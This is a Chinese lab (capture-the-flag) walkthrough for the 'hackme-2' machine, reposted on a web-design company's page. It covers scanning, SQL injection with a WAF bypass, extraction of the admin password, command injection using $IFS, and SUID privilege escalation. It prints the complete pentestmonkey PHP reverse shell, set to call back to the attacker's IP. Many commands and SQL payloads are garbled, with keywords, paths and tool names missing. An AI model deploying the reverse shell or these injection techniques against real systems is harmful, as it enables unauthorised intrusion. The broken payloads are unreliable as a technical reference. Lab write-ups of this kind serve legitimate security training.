我们已经准备好了,你呢?

2024我们与您携手共赢,为您的企业形象保驾护航!

目标描述

目标无人机地址:,618/

'' 是一个水平框。这是 的一部分,其中有更多内容可以阻止。在 中,您必须跳出框框思考。目标是通过网络获得,并以 root 用户身份获得。该实验室旨在模拟现实世界的网络。

'' 使用 DHCP,如果发生自动关闭的情况(非常罕见的情况),则强制关闭,这样就可以了。

1.搭建目标机环境

攻击机“Kali”:

IP地址:192.168.184.128

靶机:

IP地址:192.168.184.149

注意:目标机和Kali的IP地址只需要在同一个局域网(同一网段,即两台虚拟机处于同一网络模式)

2.2.1 网络扫描 2.1.1 启动靶机和Kali后扫描 方法一:arp-scan -I eth0 -l (指定要扫描的网卡)

arp 扫描 -I eth0 -l

方法二:扫描网段-p扫描端口号

192.168.184.0/24 -p 80,22

方法三:-i网卡-r网段

-i eth0 -r 192.168.184.0/24

方法四:等你添加 2.1.2 检查目标机器开放的端口

使用nmap -A -sV -T4 -p-目标机器ip查看目标机器开放的端口

2.1.3 尝试访问目标机器网页

image-20220111150150218

2.2 枚举漏洞22端口分析

一般只能通过暴力破解,暂时没有合适的词典。

80端口分析

访问网站,发现是一个登录页面

apache 2.2.22 漏洞_漏洞百出_漏洞英文

点击“立即注册”进行注册

image-20220111150328098

尝试手动注入:x' or 1=1#

无回音

我猜想存在一些过滤。

2.3 漏洞利用 2.3.1 注入尝试失败

使用burp捕获查询数据包

POST /welcome.php HTTP/1.1
Host: 192.168.184.149
Content-Length: 8
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.184.149
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.184.149/welcome.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3
Connection: close
search=1

将数据包保存为.txt文件

使用以下命令运行测试漏洞:-r .txt --batch

image-20220111151155030

没有成功

根据提示,使用脚本,并添加参数--=

-r .txt --= --批处理

根据提示,可能存在注入漏洞,但是没有跑出来,也就是说代码里有WAF或者过滤。

2.3.2 手动注入绕过WAF代码拦截

根据前面的测试,基本确定存在注入,但是被WAF或者代码拦截了

首先进行手动注入测试

a'/**/and/**/(())=1# 无响应

a'/**/and/**/(())>1# 无回应

因为它是一个搜索函数,所以你可以添加 % 符号测试

a%'/**/and/**/(())=1# 无响应

a%'/**/and/**/(())>1# 有结果

image-20220111152039623

注射指征

a%'/**/and/**/sleep(5)#有响应,执行了sleep(),说明存在时间盲注

尝试联合注入:a%'/**/union/**//**/1,2,3#

image-20220111152247469

如果有回声,说明有union注入。

逐步获取信息

获取数据库名等基本信息:x%'/**/union/**//**/user(),(),()#

image-20220111152604765

数据库名称是

获取表名:x%'/**/union/**//**/,2,3/**/from/**/./**/where/**/=()#

image-20220111152653359

有两张表 books 和 users

获取列名称:

x%'/**/union/**//**/,2,3/**/from/**/./**/where/**/=()/**/and/**/='users'#

image-20220111152752776

获取列名的另一种方法 x%'/**/union/**//**/(),2,3/**/from/**/./**/where/**/=()/**/and/**/='users'#

image-20220111152817237

获取表信息:x%'/**/union/**//**/user,,3/**/from/**/users#

image-20220111152834426

超级管理员用户:其密码是

在线md5解密:

image-20220111152924133

获取密码:

登录后找到上传功能

image-20220111153242824

2.3.3 上传文件失败

将Kali自带的php--shell.php复制到

image-20220110173434923

查看文件内容并修改IP地址


// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.184.128';  // CHANGE THIS
$port = 6666;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}
	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}
// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}
	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}
	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}
	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}
	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}
?> 

image-20220110173559344

上传文件

image-20220111153352722

提示:只能是图片格式

上传图片尝试一下

image-20220111153543102

提示从文件夹上传,访问:

image-20220111153609040

文件名已被修改

2.3.4 命令注入获取shell

后端除了上传功能外,还有用户名查询功能,该功能可能存在SQL注入或者命令注入漏洞。

测试命令注入,输入1*2,3*4,可以发现3*4等于12,说明存在命令注入。

image-20220111153849012

输入(‘id’),执行

image-20220111153923896

你可以看到有回声

使用burp抓包,修改burp中的参数('ls')

查看文件夹:('ls')

发现空格都被吃掉了,应该过滤一下。

只能查看当前目录下的文件,使用 cat 查看文件内容,看看能不能绕过

可以看到文件上传后的绝对路径为:/var/www/html///

还有黑名单:

所以直接上传基本不行,可以先上传图片,再用命令修改后缀

复制php--shell.php,重命名为test.gif,然后添加

尝试上传并成功

image-20220111155010405

尝试访问:

访问成功(因为是假图片,所以会报错)

更改文件扩展名仍然需要空格,这是使用 Linux 变量 $IFS 完成的。(此变量只能在绝对路径中测试)

shell环境变量分为set和env两种,set变量可以通过工具导入env变量。其中set是显示shell变量的设置,只在本shell内有效;env是显示用户环境变量的设置,只在当前会话内有效。也就是说set变量包含了env变量,但不是所有的set变量都是env变量。这两个变量的区别就是变量的作用域不同,显然env变量的作用域更大,可以在其中使用。

IFS 是一个集合变量,shell 在处理“命令替换”和“参数替换”的时候,会根据IFS 的值对输入的变量进行分解,默认为空格或者tab,然后处理特殊字符最后重新组合并赋值给变量。

实施:

('cp$IFS/var/www/html///test.gif$IFS/var/www/html///test.php')

[外链图片传输失败,源站可能有防盗链机制,建议保存图片后直接上传(img--52)()]

在kali中,nc启动监控,访问文件,并成功反弹shell

image-20220111155602060

使用切换到 bash:-c 'pty; pty.spawn("/bin/bash")'

image-20220111155719280

2.4 权限提升 2.4.1 SUID 权限提升

查询suid权限程序:find / -perm -u=s -type f 2>/dev/null

www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/snap/core18/1932/bin/mount
/snap/core18/1932/bin/ping
/snap/core18/1932/bin/su
/snap/core18/1932/bin/umount
/snap/core18/1932/usr/bin/chfn
/snap/core18/1932/usr/bin/chsh
/snap/core18/1932/usr/bin/gpasswd
/snap/core18/1932/usr/bin/newgrp
/snap/core18/1932/usr/bin/passwd
/snap/core18/1932/usr/bin/sudo
/snap/core18/1932/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1932/usr/lib/openssh/ssh-keysign
/snap/core18/2253/bin/mount
/snap/core18/2253/bin/ping
/snap/core18/2253/bin/su
/snap/core18/2253/bin/umount
/snap/core18/2253/usr/bin/chfn
/snap/core18/2253/usr/bin/chsh
/snap/core18/2253/usr/bin/gpasswd
/snap/core18/2253/usr/bin/newgrp
/snap/core18/2253/usr/bin/passwd
/snap/core18/2253/usr/bin/sudo
/snap/core18/2253/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2253/usr/lib/openssh/ssh-keysign
/snap/core20/1270/usr/bin/chfn
/snap/core20/1270/usr/bin/chsh
/snap/core20/1270/usr/bin/gpasswd
/snap/core20/1270/usr/bin/mount
/snap/core20/1270/usr/bin/newgrp
/snap/core20/1270/usr/bin/passwd
/snap/core20/1270/usr/bin/su
/snap/core20/1270/usr/bin/sudo
/snap/core20/1270/usr/bin/umount
/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1270/usr/lib/openssh/ssh-keysign
/snap/core/11993/bin/mount
/snap/core/11993/bin/ping
/snap/core/11993/bin/ping6
/snap/core/11993/bin/su
/snap/core/11993/bin/umount
/snap/core/11993/usr/bin/chfn
/snap/core/11993/usr/bin/chsh
/snap/core/11993/usr/bin/gpasswd
/snap/core/11993/usr/bin/newgrp
/snap/core/11993/usr/bin/passwd
/snap/core/11993/usr/bin/sudo
/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/11993/usr/lib/openssh/ssh-keysign
/snap/core/11993/usr/lib/snapd/snap-confine
/snap/core/11993/usr/sbin/pppd
/snap/core/10444/bin/mount
/snap/core/10444/bin/ping
/snap/core/10444/bin/ping6
/snap/core/10444/bin/su
/snap/core/10444/bin/umount
/snap/core/10444/usr/bin/chfn
/snap/core/10444/usr/bin/chsh
/snap/core/10444/usr/bin/gpasswd
/snap/core/10444/usr/bin/newgrp
/snap/core/10444/usr/bin/passwd
/snap/core/10444/usr/bin/sudo
/snap/core/10444/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/10444/usr/lib/openssh/ssh-keysign
/snap/core/10444/usr/lib/snapd/snap-confine
/snap/core/10444/usr/sbin/pppd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/pkexec
/usr/bin/traceroute6.iputils
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/newgrp
/usr/bin/sudo
/home/legacy/touchmenot
/bin/mount
/bin/umount
/bin/ping
/bin/su
/bin/fusermount

找到文件 /home//

在网站上搜索:未找到

尝试运行程序:发现直接提权成功

image-20220111160120707

我找了好久都没找到flag文件。

啥?就这些?

总结

本节用到的工具和漏洞都不难,涉及到SQL注入漏洞和命令注入漏洞

SQL注入工具:手工注入的一些知识,以及绕过WAF的基本思路抓包工具:命令注入的一些测试和绕过思路后门:Kali内置后门Suid提权:提权

二维码
扫一扫在手机端查看

    Tags : hackme-2
本文链接:https://by928.com/4856.html     转载请注明出处和本文链接!请遵守 《网站协议》
我们凭借多年的网站建设经验,坚持以“帮助中小企业实现网络营销化”为宗旨,累计为4000多家客户提供品质建站服务,得到了客户的一致好评。如果您有网站建设、网站改版、域名注册、主机空间、手机网站建设、网站备案等方面的需求,请立即点击咨询我们或拨打咨询热线: 13761152229,我们会详细为你一一解答你心中的疑难。

项目经理在线

我们已经准备好了,你呢?

2020我们与您携手共赢,为您的企业形象保驾护航!

在线客服
联系方式

热线电话

13761152229

上班时间

周一到周五

公司电话

二维码
微信
线